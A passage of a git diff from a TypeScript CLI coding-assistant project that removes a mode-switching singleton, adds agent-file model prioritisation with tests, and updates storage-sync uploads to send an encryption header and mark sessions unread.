expect(modeNames).toContain("normal"); - expect(modeNames).toContain("plan"); - expect(modeNames).toContain("auto"); - - // Check that all modes have descriptions - modes.forEach((mode) => { - expect(mode.description).toBeDefined(); - expect(mode.description.length).toBeGreaterThan(0); - }); - }); - }); - - describe("Singleton Behavior", () => { - test("should return the same instance", () => { - const instance1 = ModeService.getInstance(); - const instance2 = ModeService.getInstance(); - expect(instance1).toBe(instance2); - }); - - test("should maintain state across getInstance calls", async () => { - const instance1 = ModeService.getInstance(); - await instance1.initialize({}); - instance1.switchMode("plan"); - - const instance2 = ModeService.getInstance(); - expect(instance2.getCurrentMode()).toBe("plan"); - }); - }); - - describe("isReady()", () => { - test("should always return true for ModeService", () => { - // ModeService is always ready since it's a singleton - expect(modeService.isReady()).toBe(true); - }); - }); - - describe("Event Emission", () => { - let modeChangeListener: ReturnType; - let stateChangeListener: ReturnType; - - beforeEach(async () => { - await modeService.initialize({}); - modeChangeListener = vi.fn(); - stateChangeListener = vi.fn(); - modeService.on("modeChanged", modeChangeListener); - modeService.on("stateChanged", stateChangeListener); - }); - - afterEach(() => { - modeService.off("modeChanged", modeChangeListener); - modeService.off("stateChanged", stateChangeListener); - }); - - test("should emit modeChanged event when mode switches", () => { - modeService.switchMode("plan"); - - expect(modeChangeListener).toHaveBeenCalledWith("plan", "normal"); - expect(modeChangeListener).toHaveBeenCalledTimes(1); - }); - - test("should emit stateChanged event when mode switches", () => { - modeService.switchMode("plan"); - - expect(stateChangeListener).toHaveBeenCalledWith( - expect.objectContaining({ mode: "plan" }), - expect.objectContaining({ mode: "normal" }), - ); - }); - - test("should emit event with correct previous and new modes", () => { - modeService.switchMode("plan"); - modeChangeListener.mockClear(); - stateChangeListener.mockClear(); - - modeService.switchMode("auto"); - - expect(modeChangeListener).toHaveBeenCalledWith("auto", "plan"); - expect(modeChangeListener).toHaveBeenCalledTimes(1); - expect(stateChangeListener).toHaveBeenCalledTimes(1); - }); - - test("should not emit event when switching to same mode", () => { - modeService.switchMode("plan"); - modeChangeListener.mockClear(); - stateChangeListener.mockClear(); - - modeService.switchMode("plan"); - - expect(modeChangeListener).not.toHaveBeenCalled(); - // stateChanged might still be called due to setState, but modeChanged should not - }); - }); - - describe("Integration with ToolPermissionService", () => { - beforeEach(async () => { - await modeService.initialize({ - allow: ["Read"], - exclude: ["dangerous_tool"], - }); - }); - - test("should pass initialization args to ToolPermissionService", () => { - const toolService = modeService.getToolPermissionService(); - const state = toolService.getState(); - - // The state should have processed the allow/exclude rules - expect(state.permissions.policies).toBeDefined(); - expect(state.currentMode).toBe("normal"); - }); - - test("should maintain ToolPermissionService reference", () => { - const toolService1 = modeService.getToolPermissionService(); - const toolService2 = modeService.getToolPermissionService(); - - expect(toolService1).toBe(toolService2); - }); - }); -}); diff --git a/extensions/cli/src/services/ModeService.ts b/extensions/cli/src/services/ModeService.ts deleted file mode 100644 index b066af870..000000000 --- a/extensions/cli/src/services/ModeService.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { PermissionMode } from "../permissions/types.js"; -import { logger } from "../util/logger.js"; - -import { BaseService } from "./BaseService.js"; -import { ToolPermissionService } from "./ToolPermissionService.js"; - -export interface ModeServiceState { - mode: PermissionMode; - toolPermissionService: ToolPermissionService; -} - -/** - * Global service for managing permission modes - * Provides a singleton interface for mode switching - */ -export class ModeService extends BaseService { - private static instance: ModeService; - - private constructor() { - const toolPermissionService = new ToolPermissionService(); - super("ModeService", { - mode: "normal", - toolPermissionService, - }); - - // Increase max listeners since ModeService is a singleton that can have - // multiple subscribers (UI components, tests, etc.) - this.setMaxListeners(100); - } - - public static getInstance(): ModeService { - if (!ModeService.instance) { - ModeService.instance = new ModeService(); - } - return ModeService.instance; - } - - /** - * Initialize the mode service with command line arguments - */ - async doInitialize(args: { - readonly?: boolean; - auto?: boolean; - allow?: string[]; - ask?: string[]; - exclude?: string[]; - isHeadless?: boolean; - }): Promise { - // Convert legacy flags to mode - let mode: PermissionMode = "normal"; - if (args.readonly) { - mode = "plan"; // Legacy flag maps directly to plan mode - } else if (args.auto) { - mode = "auto"; // Auto flag maps to auto mode - } - - this.currentState.toolPermissionService.initializeSync({ - allow: args.allow, - ask: args.ask, - exclude: args.exclude, - mode, - isHeadless: args.isHeadless, - }); - - logger.debug(`ModeService initialized with mode: ${mode}`); - - return { - mode, - toolPermissionService: this.currentState.toolPermissionService, - }; - } - - /** - * Switch to a different mode - */ - public switchMode(mode: PermissionMode): void { - const previousMode = this.currentState.mode; - this.currentState.toolPermissionService.switchMode(mode); - - this.setState({ mode }); - - logger.info(`Switched to ${mode} mode`); - - // Emit mode change event for immediate UI updates - if (previousMode !== mode) { - this.emit("modeChanged", mode, previousMode); - } - } - - /** - * Get the current mode - */ - public getCurrentMode(): PermissionMode { - return this.currentState.mode; - } - - /** - * Get the tool permission service instance - */ - public getToolPermissionService(): ToolPermissionService { - return this.currentState.toolPermissionService; - } - - /** - * Get available modes with descriptions - */ - public getAvailableModes(): Array<{ - mode: PermissionMode; - description: string; - }> { - return [ - { - mode: "normal", - description: "Default mode - follows configured permission policies", - }, - { - mode: "plan", - description: "Planning mode - only allow read-only tools for analysis", - }, - { - mode: "auto", - description: "Automatically allow all tools without asking", - }, - ]; - } - - /** - * Override cleanup to properly clean up nested ToolPermissionService - */ - override async cleanup(): Promise { - await this.currentState.toolPermissionService.cleanup(); - await super.cleanup(); - } - - /** - * Override isReady since this is a singleton with immediate availability - */ - override isReady(): boolean { - return true; - } -} - -// Export singleton instance -export const modeService = ModeService.getInstance(); diff --git a/extensions/cli/src/services/ModelService.test.ts b/extensions/cli/src/services/ModelService.test.ts index 9dff62d2f..1ce83b540 100644 --- a/extensions/cli/src/services/ModelService.test.ts +++ b/extensions/cli/src/services/ModelService.test.ts @@ -1,12 +1,12 @@ import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; -import { describe, expect, beforeEach, vi, test } from "vitest"; +import { beforeEach, describe, expect, test, vi } from "vitest"; // Mock dependencies before imports vi.mock("../config.js"); vi.mock("../auth/workos.js"); -import { AuthConfig } from "../auth/workos.js"; import * as workos from "../auth/workos.js"; +import { AuthConfig } from "../auth/workos.js"; import * as config from "../config.js"; import { ModelService } from "./ModelService.js"; @@ -100,45 +100,6 @@ describe("ModelService", () => { }); }); - describe("update()", () => { - test("should update model with new assistant config", async () => { - // Initialize first - vi.mocked(config.getLlmApi).mockReturnValue([ - mockLlmApi as any, - mockAssistant.models![0] as ModelConfig, - ]); - await service.initialize(mockAssistant, mockAuthConfig); - - // Update with new assistant - const newAssistant = { - ...mockAssistant, - models: [ - { - provider: "openai", - model: "gpt-4-turbo", - name: "GPT-4 Turbo", - apiKey: "new-key", - roles: ["chat"], - } as ModelConfig, - ], - }; - const newLlmApi = { complete: vi.fn(), stream: vi.fn() }; - vi.mocked(config.getLlmApi).mockReturnValue([ - newLlmApi as any, - newAssistant.models![0] as ModelConfig, - ]); - - const state = await service.update(newAssistant, mockAuthConfig); - - expect(state).toEqual({ - llmApi: newLlmApi, - model: newAssistant.models![0], - assistant: newAssistant, - authConfig: mockAuthConfig, - }); - }); - }); - describe("switchModel()", () => { test("should switch to a different model by index", async () => { vi.mocked(config.getLlmApi).mockReturnValue([ @@ -357,8 +318,12 @@ describe("ModelService", () => { }); describe("getDependencies()", () => { - test("should declare auth and config dependencies", () => { - expect(service.getDependencies()).toEqual(["auth", "config"]); + test("should declare auth, config, and agent-file dependencies", () => { + expect(service.getDependencies()).toEqual([ + "auth", + "config", + "agentFile", + ]); }); }); diff --git a/extensions/cli/src/services/ModelService.ts b/extensions/cli/src/services/ModelService.ts index 313f2afc1..2e43062e4 100644 --- a/extensions/cli/src/services/ModelService.ts +++ b/extensions/cli/src/services/ModelService.ts @@ -5,7 +5,7 @@ import { createLlmApi, getLlmApi } from "../config.js"; import { logger } from "../util/logger.js"; import { BaseService, ServiceWithDependencies } from "./BaseService.js"; -import { ModelServiceState } from "./types.js"; +import { AgentFileServiceState, ModelServiceState } from "./types.js"; /** * Service for managing LLM and model state @@ -32,7 +32,7 @@ export class ModelService * Declare dependencies on other services */ getDependencies(): string[] { - return ["auth", "config"]; + return ["auth", "config", "agentFile"]; } /** @@ -41,6 +41,7 @@ export class ModelService async doInitialize( assistant: AssistantUnrolled, authConfig: AuthConfig, + agentFileServiceState: AgentFileServiceState | undefined, ): Promise { logger.debug("ModelService.doInitialize called", { hasAssistant: !!assistant, @@ -55,16 +56,30 @@ export class ModelService model && (model.roles?.includes("chat") || model.roles === undefined), ) || []) as ModelConfig[]; - // Check if we have a persisted model name and use it if valid - const persistedModelName = getModelName(authConfig); - if (persistedModelName) { + let preferredModelName: string | null | undefined = null; + let modelSource = "default"; + + // Priority = agentFile -> last selected model + if (agentFileServiceState?.agentFileModel?.name) { + preferredModelName = agentFileServiceState.agentFileModel?.name; + modelSource = "agentFile"; + } else { + const persistedName = getModelName(authConfig); + if (persistedName) { + preferredModelName = persistedName; + modelSource = "persisted"; + } + } + + // Try to use the preferred model (agent file or persisted) + if (preferredModelName) { // During initialization, we need to check against availableModels directly const modelIndex = this.availableModels.findIndex((model) => { const name = (model as any).name || (model as any).model; - return name === persistedModelName; + return name === preferredModelName; }); if (modelIndex === -1) { - // Model name not found, use default model selection + // Preferred model not found, use default model selection const [llmApi, model] = getLlmApi(assistant, authConfig); return { llmApi, @@ -73,20 +88,20 @@ export class ModelService authConfig, }; } else { - // Use the persisted model - but we need to handle initialization specially + // Use the preferred model - but we need to handle initialization specially // During init, currentState isn't set yet, so switchModel would fail // Instead, we'll manually switch here const selectedModel = this.availableModels[modelIndex]; - logger.debug("Using persisted model during initialization", { + logger.debug(`Using ${modelSource} model during initialization`, { modelIndex, provider: selectedModel.provider, name: (selectedModel as any).name || "unnamed", + modelSource, }); const llmApi = createLlmApi(selectedModel, authConfig); - if (!llmApi) { - throw new Error("Failed to initialize LLM with persisted model"); + throw new Error(`Failed to initialize LLM with ${modelSource} model`); } return { @@ -108,48 +123,6 @@ export class ModelService } } - /** - * Update the model based on new config or auth changes - */ - async update( - assistant: AssistantUnrolled, - authConfig: AuthConfig, - ): Promise { - logger.debug("Updating ModelService"); - - try { - // Update instance properties for backward compatibility - this.assistant = assistant; - this.authConfig = authConfig; - this.availableModels = (assistant.models?.filter( - (model) => - model && (model.roles?.includes("chat") || model.roles === undefined), - ) || []) as ModelConfig[]; - - const [llmApi, model] = getLlmApi(assistant, authConfig); - - // Ensure state has all necessary data - this.setState({ - llmApi, - model, - assistant, - authConfig, - }); - - logger.debug("ModelService updated successfully", { - modelProvider: model.provider, - modelName: (model as any).name || "unnamed", - availableModels: this.availableModels.length, - }); - - return this.getState(); - } catch (error: any) { - logger.error("Failed to update ModelService:", error); - this.emit("error", error); - throw error; - } - } - /** * Override isReady to check for required state */ diff --git a/extensions/cli/src/services/ModelService.workflow-priority.test.ts b/extensions/cli/src/services/ModelService.workflow-priority.test.ts new file mode 100644 index 000000000..8706a1150 --- /dev/null +++ b/extensions/cli/src/services/ModelService.workflow-priority.test.ts @@ -0,0 +1,271 @@ +import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { AuthConfig } from "../auth/workos.js"; +import * as config from "../config.js"; + +import { ModelService } from "./ModelService.js"; +import { AgentFileServiceState } from "./types.js"; + +// Mock the dependencies +vi.mock("../auth/workos.js", () => ({ + getModelName: vi.fn(() => null), +})); + +vi.mock("../config.js", () => ({ + createLlmApi: vi.fn(() => ({ provider: "test" })), + getLlmApi: vi.fn(() => [ + { provider: "test" }, + { provider: "test", name: "default-model" }, + ]), +})); + +vi.mock("../util/logger.js", () => ({ + logger: { + debug: vi.fn(), + error: vi.fn(), + }, +})); + +describe("ModelService agent file model prioritization", () => { + let modelService: ModelService; + let mockAssistant: AssistantUnrolled; + let mockAuthConfig: AuthConfig; + let mockModels: ModelConfig[]; + + beforeEach(() => { + modelService = new ModelService(); + + mockModels = [ + { provider: "anthropic", name: "claude-3-sonnet" } as ModelConfig, + { provider: "openai", name: "gpt-4" } as ModelConfig, + { provider: "anthropic", name: "claude-3-haiku" } as ModelConfig, + ]; + + mockAssistant = { + models: mockModels, + } as AssistantUnrolled; + + mockAuthConfig = {} as AuthConfig; + + // Reset mocks + vi.clearAllMocks(); + }); + + it("should prioritize agent file model over default when agent file has model specified", async () => { + const agentFileServiceState: AgentFileServiceState = { + agentFile: { + name: "test-agent", + model: "gpt-4", + prompt: "Test agent", + }, + slug: "test/agent", + agentFileModel: { + name: "gpt-4", + model: "gpt-4", + provider: "openai", + }, + parsedRules: null, + parsedTools: null, + }; + + // Mock createLlmApi to return different models based on the selected model + const createLlmApiMock = vi.mocked(config.createLlmApi); + createLlmApiMock.mockImplementation( + (model: ModelConfig) => + ({ + provider: model.provider, + name: (model as any).name, + }) as any, + ); + + const result = await modelService.doInitialize( + mockAssistant, + mockAuthConfig, + agentFileServiceState, + ); + + expect(result.model).toEqual( + expect.objectContaining({ + name: "gpt-4", + provider: "openai", + }), + ); + + // Should have called createLlmApi with the agent-file-specified model + expect(createLlmApiMock).toHaveBeenCalledWith( + expect.objectContaining({ name: "gpt-4" }), + mockAuthConfig, + ); + }); + + it("should fall back to persisted model when no agent file model is specified", async () => { + const agentFileServiceState: AgentFileServiceState = { + agentFile: { + name: "test-agent", + prompt: "Test agent file", + // No model specified + }, + slug: "test/agent", + agentFileModel: null, + parsedRules: null, + parsedTools: null, + }; + + // Mock getModelName to return a persisted model + const { getModelName } = await import("../auth/workos.js"); + vi.mocked(getModelName).mockReturnValue("claude-3-sonnet"); + + const createLlmApiMock = vi.mocked(config.createLlmApi); + createLlmApiMock.mockImplementation( + (model: ModelConfig) => + ({ + provider: model.provider, + name: (model as any).name, + }) as any, + ); + + const result = await modelService.doInitialize( + mockAssistant, + mockAuthConfig, + agentFileServiceState, + ); + + expect(result.model).toEqual( + expect.objectContaining({ + name: "claude-3-sonnet", + provider: "anthropic", + }), + ); + + expect(createLlmApiMock).toHaveBeenCalledWith( + expect.objectContaining({ name: "claude-3-sonnet" }), + mockAuthConfig, + ); + }); + + it("should fall back to default model when agent file model is not available", async () => { + const agentFileServiceState: AgentFileServiceState = { + agentFile: { + name: "test-agent", + model: "non-existent-model", // Model not in available models + prompt: "Test agent", + }, + slug: "test/agent", + agentFileModel: { + name: "non-existent-model", + model: "non-existent", + provider: "nonexistent", + }, + parsedRules: null, + parsedTools: null, + }; + + const getLlmApiMock = vi.mocked(config.getLlmApi); + getLlmApiMock.mockReturnValue([ + { provider: "default" } as any, + { provider: "anthropic", name: "claude-3-sonnet" } as ModelConfig, + ]); + + const result = await modelService.doInitialize( + mockAssistant, + mockAuthConfig, + agentFileServiceState, + ); + + expect(result.model).toEqual( + expect.objectContaining({ + name: "claude-3-sonnet", + provider: "anthropic", + }), + ); + + // Should have fallen back to getLlmApi + expect(getLlmApiMock).toHaveBeenCalledWith(mockAssistant, mockAuthConfig); + }); + + it("should use default model when no agent file exists", async () => { + const agentFileServiceState: AgentFileServiceState = { + agentFile: null, + slug: null, + agentFileModel: null, + parsedRules: null, + parsedTools: null, + }; + + // Make sure getModelName returns null (no persisted model) + const { getModelName } = await import("../auth/workos.js"); + vi.mocked(getModelName).mockReturnValue(null); + + const getLlmApiMock = vi.mocked(config.getLlmApi); + getLlmApiMock.mockReturnValue([ + { provider: "default" } as any, + { provider: "anthropic", name: "claude-3-sonnet" } as ModelConfig, + ]); + + const result = await modelService.doInitialize( + mockAssistant, + mockAuthConfig, + agentFileServiceState, + ); + + expect(result.model).toEqual( + expect.objectContaining({ + name: "claude-3-sonnet", + provider: "anthropic", + }), + ); + + expect(getLlmApiMock).toHaveBeenCalledWith(mockAssistant, mockAuthConfig); + }); + + it("should prioritize agent file model over persisted model", async () => { + const agentFileServiceState: AgentFileServiceState = { + agentFile: { + name: "test-agent", + model: "gpt-4", // Agent file specifies gpt-4 + prompt: "Test agent", + }, + slug: "test/agent", + agentFileModel: { + name: "gpt-4", + model: "gpt-4", + provider: "openai", + }, + parsedRules: null, + parsedTools: null, + }; + + // Mock getModelName to return a different persisted model + const { getModelName } = await import("../auth/workos.js"); + vi.mocked(getModelName).mockReturnValue("claude-3-haiku"); + + const createLlmApiMock = vi.mocked(config.createLlmApi); + createLlmApiMock.mockImplementation( + (model: ModelConfig) => + ({ + provider: model.provider, + name: (model as any).name, + }) as any, + ); + + const result = await modelService.doInitialize( + mockAssistant, + mockAuthConfig, + agentFileServiceState, + ); + + // Should use agent file model (gpt-4), not persisted model (claude-3-haiku) + expect(result.model).toEqual( + expect.objectContaining({ + name: "gpt-4", + provider: "openai", + }), + ); + + expect(createLlmApiMock).toHaveBeenCalledWith( + expect.objectContaining({ name: "gpt-4" }), + mockAuthConfig, + ); + }); +}); diff --git a/extensions/cli/src/services/ServiceContainer.test.ts b/extensions/cli/src/services/ServiceContainer.test.ts index c693138be..f5e23a2d0 100644 --- a/extensions/cli/src/services/ServiceContainer.test.ts +++ b/extensions/cli/src/services/ServiceContainer.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, test, beforeEach, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; import { ServiceContainer } from "./ServiceContainer.js"; @@ -10,6 +10,11 @@ describe("ServiceContainer", () => { vi.clearAllMocks(); }); + afterEach(() => { + // Clean up listeners to prevent memory leaks + container?.removeAllListeners(); + }); + describe("Dependency Cascade Reloading", () => { test("should automatically reload all transitive dependents", async () => { // Setup service dependency chain: auth -> apiClient -> config -> model diff --git a/extensions/cli/src/services/ServiceContainer.ts b/extensions/cli/src/services/ServiceContainer.ts index adaaa1072..d12acf351 100644 --- a/extensions/cli/src/services/ServiceContainer.ts +++ b/extensions/cli/src/services/ServiceContainer.ts @@ -2,7 +2,7 @@ import { EventEmitter } from "events"; import { logger } from "../util/logger.js"; -import { ServiceResult, ServiceState } from "./types.js"; +import { type ServiceResult, type ServiceState } from "./types.js"; /** * Central service container that manages service lifecycle and dependencies diff --git a/extensions/cli/src/services/StorageSyncService.test.ts b/extensions/cli/src/services/StorageSyncService.test.ts index 976956fc5..1e67a6c2e 100644 --- a/extensions/cli/src/services/StorageSyncService.test.ts +++ b/extensions/cli/src/services/StorageSyncService.test.ts @@ -55,7 +55,7 @@ describe("StorageSyncService", () => { storageOption: undefined, accessToken: "token", syncSessionHistory: vi.fn(), - getSessionSnapshot: vi.fn(), + getCompleteStateSnapshot: vi.fn(), }); expect(result).toBe(false); @@ -69,7 +69,7 @@ describe("StorageSyncService", () => { storageOption: " ", accessToken: "token", syncSessionHistory: vi.fn(), - getSessionSnapshot: vi.fn(), + getCompleteStateSnapshot: vi.fn(), }); expect(result).toBe(false); @@ -86,7 +86,7 @@ describe("StorageSyncService", () => { storageOption: "session-123", accessToken: null, syncSessionHistory: vi.fn(), - getSessionSnapshot: vi.fn(), + getCompleteStateSnapshot: vi.fn(), }); expect(result).toBe(false); @@ -98,7 +98,7 @@ describe("StorageSyncService", () => { it("starts syncing when presign succeeds", async () => { const syncSessionHistory = vi.fn(); - const getSessionSnapshot = vi.fn().mockReturnValue({ foo: "bar" }); + const getCompleteStateSnapshot = vi.fn().mockReturnValue({ foo: "bar" }); fetchMock.mockResolvedValueOnce({ ok: true, @@ -114,13 +114,13 @@ describe("StorageSyncService", () => { storageOption: "session-123", accessToken: "token", syncSessionHistory, - getSessionSnapshot, + getCompleteStateSnapshot, isActive: () => true, }); expect(result).toBe(true); expect(syncSessionHistory).toHaveBeenCalledTimes(1); - expect(getSessionSnapshot).toHaveBeenCalledTimes(1); + expect(getCompleteStateSnapshot).toHaveBeenCalledTimes(1); expect(fetchMock).toHaveBeenCalledTimes(3); const [presignUrl, presignOptions] = fetchMock.mock.calls[0]; expect(presignUrl).toBeInstanceOf(URL); @@ -152,7 +152,7 @@ describe("StorageSyncService", () => { storageOption: "session-123", accessToken: "token", syncSessionHistory: vi.fn(), - getSessionSnapshot: vi.fn(), + getCompleteStateSnapshot: vi.fn(), }); expect(result).toBe(false); @@ -177,6 +177,7 @@ describe("StorageSyncService", () => { ok: false, status: 403, statusText: "Forbidden", + text: async () => "Access denied", }); gitDiffMock.mockResolvedValue({ diff: "", repoFound: true }); @@ -186,12 +187,12 @@ describe("StorageSyncService", () => { storageOption: "session-123", accessToken: "token", syncSessionHistory: vi.fn(), - getSessionSnapshot: vi.fn().mockReturnValue({}), + getCompleteStateSnapshot: vi.fn().mockReturnValue({}), }); expect(result).toBe(true); expect(warnSpy).toHaveBeenCalledWith( - expect.stringContaining("Storage upload failed"), + expect.stringContaining("Storage sync upload failed"), ); const state = service.getState(); expect(state.isEnabled).toBe(true); @@ -200,4 +201,79 @@ describe("StorageSyncService", () => { service.stop(); warnSpy.mockRestore(); }); + + it("does nothing when markAgentStatusUnread has no storage context", async () => { + await service.markAgentStatusUnread(); + expect(fetchMock).not.toHaveBeenCalled(); + }); + + it("marks the agent session as unread", async () => { + (service as unknown as { options: any }).options = { + storageId: "session-123", + accessToken: "token", + }; + + fetchMock.mockResolvedValueOnce({ ok: true }); + + await service.markAgentStatusUnread(); + + expect(fetchMock).toHaveBeenCalledTimes(1); + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBeInstanceOf(URL); + expect((url as URL).toString()).toBe( + "https://api.test/agents/session-123/read-status", + ); + expect(init).toMatchObject({ + method: "POST", + body: JSON.stringify({ unread: true }), + headers: { + Authorization: "Bearer token", + "Content-Type": "application/json", + }, + }); + }); + + it("includes server-side encryption header when required by signed headers", async () => { + const syncSessionHistory = vi.fn(); + const getCompleteStateSnapshot = vi.fn().mockReturnValue({ test: "data" }); + + // Mock presign response with server-side encryption in signed headers + const sessionUrlWithSSE = + "https://upload/session?X-Amz-SignedHeaders=host%3Bx-amz-server-side-encryption"; + const diffUrl = "https://upload/diff"; + + fetchMock.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + session: { putUrl: sessionUrlWithSSE, key: "session.json" }, + diff: { putUrl: diffUrl, key: "diff.txt" }, + }), + }); + fetchMock.mockResolvedValue({ ok: true }); + gitDiffMock.mockResolvedValue({ diff: "test diff", repoFound: true }); + + const result = await service.startFromOptions({ + storageOption: "session-123", + accessToken: "token", + syncSessionHistory, + getCompleteStateSnapshot, + isActive: () => true, + }); + + expect(result).toBe(true); + expect(fetchMock).toHaveBeenCalledTimes(3); + + // Check session upload includes server-side encryption header + const sessionCall = fetchMock.mock.calls[1]; + expect(sessionCall[0]).toBe(sessionUrlWithSSE); + expect(sessionCall[1]).toMatchObject({ + method: "PUT", + headers: { + "Content-Type": "application/json", + "x-amz-server-side-encryption": "AES256", + }, + }); + + service.stop(); + }); }); diff --git a/extensions/cli/src/services/StorageSyncService.ts b/extensions/cli/src/services/StorageSyncService.ts index 6695eb6f5..52f0be59d 100644 --- a/extensions/cli/src/services/StorageSyncService.ts +++ b/extensions/cli/src/services/StorageSyncService.ts @@ -29,7 +29,7 @@ export interface StorageSyncStartOptions { accessToken: string; intervalMs?: number; syncSessionHistory: () => void; - getSessionSnapshot: () => unknown; + getCompleteStateSnapshot: () => unknown; isActive?: () => boolean; } @@ -139,6 +139,42 @@ export class StorageSyncService { return true; } + async markAgentStatusUnread(): Promise { + const storageId = this.options?.storageId; + const accessToken = this.options?.accessToken; + + if (!storageId || !accessToken) { + return; + } + + const url = new URL( + `agents/${encodeURIComponent(storageId)}/read-status`, + env.apiBase, + ); + + try { + const response = await fetch(url, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${accessToken}`, + }, + body: JSON.stringify({ unread: true }), + }); + + if (!response.ok) { + const statusText = `${response.status} ${response.statusText}`.trim(); + logger.debug( + `Failed to mark agent session unread (${statusText || "unknown error"}).`, + ); + } + } catch (error) { + logger.debug( + `Failed to mark agent session unread: ${formatError(error)}`, + ); + } + } + stop(): void { this.stopped = true; this.targets = null; @@ -214,17 +250,28 @@ export class StorageSyncService { body: string, contentType: string, ): Promise { + // Parse the URL to extract any required headers from the query parameters + const parsedUrl = new URL(url); + const headers: Record = { + "Content-Type": contentType, + }; + + // Check if the presigned URL includes server-side encryption in signed headers + const signedHeaders = parsedUrl.searchParams.get("X-Amz-SignedHeaders"); + if (signedHeaders?.includes("x-amz-server-side-encryption")) { + headers["x-amz-server-side-encryption"] = "AES256"; + } + const response = await fetch(url, { method: "PUT", - headers: { - "Content-Type": contentType, - }, + headers, body, }); if (!response.ok) { const statusText = `${response.status} ${response.statusText}`.trim(); - throw new Error(`Storage upload failed (${statusText})`); + const responseBody = await response.text(); + throw new Error(`Storage upload failed (${statusText}): ${responseBody}`); } } @@ -237,14 +284,18 @@ export class StorageSyncService { return; } + // Capture references to prevent race condition with stop() + const targets = this.targets; + const options = this.options; + this.uploadInFlight = true; try { - this.options.syncSessionHistory(); - const snapshot = this.options.getSessionSnapshot(); + options.syncSessionHistory(); + const snapshot = options.getCompleteStateSnapshot(); const sessionPayload = JSON.stringify(snapshot, null, 2); await this.uploadToPresignedUrl( - this.targets.sessionUrl, + targets.sessionUrl, sessionPayload, "application/json", ); @@ -257,7 +308,7 @@ export class StorageSyncService { this.missingRepoLogged = true; } await this.uploadToPresignedUrl( - this.targets.diffUrl, + targets.diffUrl, diffResult.diff, "text/plain", ); diff --git a/extensions/cli/src/services/SystemMessageService.test.ts b/extensions/cli/src/services/SystemMessageService.test.ts index a17894ee9..d925c88b1 100644 --- a/extensions/cli/src/services/SystemMessageService.test.ts +++ b/extensions/cli/src/services/SystemMessageService.test.ts @@ -1,8 +1,10 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { modeService } from "./ModeService.js"; import { SystemMessageService } from "./SystemMessageService.js"; +import { services } from "./index.js"; +const toolPermissionService = services.toolPermissions; + // Mock the systemMessage module vi.mock("../systemMessage.js", () => ({ constructSystemMessage: vi.fn(), @@ -71,35 +73,16 @@ describe("SystemMessageService", () => { constructSystemMessageMock.mockResolvedValue("Test system message"); await service.initialize(config); - const message = await service.getSystemMessage(); + const message = await service.getSystemMessage("normal"); expect(constructSystemMessageMock).toHaveBeenCalledWith( + "normal", // Default mode ["rule1"], "json", true, - "normal", // Default mode ); expect(message).toBe("Test system message"); }); - - it("should use updated mode when mode changes", async () => { - constructSystemMessageMock.mockResolvedValue("Updated system message"); - - await service.initialize({}); - - // Simulate mode change - modeService.emit("modeChanged", "plan", "normal"); - - const message = await service.getSystemMessage(); - - expect(constructSystemMessageMock).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - "plan", - ); - expect(message).toBe("Updated system message"); - }); }); describe("updateConfig", () => { @@ -114,13 +97,13 @@ describe("SystemMessageService", () => { }); constructSystemMessageMock.mockResolvedValue("Updated message"); - await service.getSystemMessage(); + await service.getSystemMessage("normal"); expect(constructSystemMessageMock).toHaveBeenCalledWith( + "normal", ["rule1"], "json", false, - "normal", ); }); @@ -135,42 +118,17 @@ describe("SystemMessageService", () => { }); constructSystemMessageMock.mockResolvedValue("Updated message"); - await service.getSystemMessage(); + await service.getSystemMessage("normal"); expect(constructSystemMessageMock).toHaveBeenCalledWith( + "normal", ["rule2", "rule3"], "json", undefined, - "normal", ); }); }); - describe("mode tracking", () => { - it("should track current mode from ModeService", async () => { - await service.initialize({}); - - expect(service.getCurrentMode()).toBe("normal"); - - // Simulate mode change - modeService.emit("modeChanged", "auto", "normal"); - - expect(service.getCurrentMode()).toBe("auto"); - }); - - it("should initialize with current mode from ModeService", async () => { - // Mock modeService.getCurrentMode - vi.spyOn(modeService, "getCurrentMode").mockReturnValue("plan"); - - const newService = new SystemMessageService(); - await newService.initialize({}); - - expect(newService.getCurrentMode()).toBe("plan"); - - await newService.cleanup(); - }); - }); - describe("error handling", () => { it("should handle constructSystemMessage errors gracefully", async () => { constructSystemMessageMock.mockRejectedValue( @@ -179,7 +137,7 @@ describe("SystemMessageService", () => { await service.initialize({}); - await expect(service.getSystemMessage()).rejects.toThrow( + await expect(service.getSystemMessage("normal")).rejects.toThrow( "Failed to construct", ); }); diff --git a/extensions/cli/src/services/SystemMessageService.ts b/extensions/cli/src/services/SystemMessageService.ts index 2711f6990..44ae3098c 100644 --- a/extensions/cli/src/services/SystemMessageService.ts +++ b/extensions/cli/src/services/SystemMessageService.ts @@ -3,7 +3,7 @@ import { constructSystemMessage } from "../systemMessage.js"; import { logger } from "../util/logger.js"; import { BaseService } from "./BaseService.js"; -import { modeService } from "./ModeService.js"; +import { SERVICE_NAMES } from "./types.js"; export interface SystemMessageServiceState { additionalRules?: string[]; @@ -16,26 +16,8 @@ export interface SystemMessageServiceState { * Provides fresh system messages that reflect current mode and configuration */ export class SystemMessageService extends BaseService { - private currentMode: PermissionMode = "normal"; - constructor() { super("SystemMessageService", {}); - - // Listen to mode changes from ModeService - this.setupModeListener(); - } - - /** - * Set up listener for mode changes - */ - private setupModeListener(): void { - modeService.on("modeChanged", (newMode: PermissionMode) => { - logger.debug(`SystemMessageService: Mode changed to ${newMode}`); - this.currentMode = newMode; - }); - - // Initialize current mode - this.currentMode = modeService.getCurrentMode(); } /** @@ -64,24 +46,28 @@ export class SystemMessageService extends BaseService /** * Get a fresh system message with current mode and configuration */ - public async getSystemMessage(): Promise { + public async getSystemMessage(currentMode: PermissionMode): Promise { const { additionalRules, format, headless } = this.currentState; const systemMessage = await constructSystemMessage( + currentMode, additionalRules, format, headless, - this.currentMode, ); logger.debug("Generated fresh system message", { - mode: this.currentMode, + mode: currentMode, messageLength: systemMessage.length, }); return systemMessage; } + getDependencies(): string[] { + return [SERVICE_NAMES.TOOL_PERMISSIONS]; + } + /** * Update configuration that affects system message */ @@ -93,14 +79,4 @@ export class SystemMessageService extends BaseService logger.debug("SystemMessageService config updated", config); } - - /** - 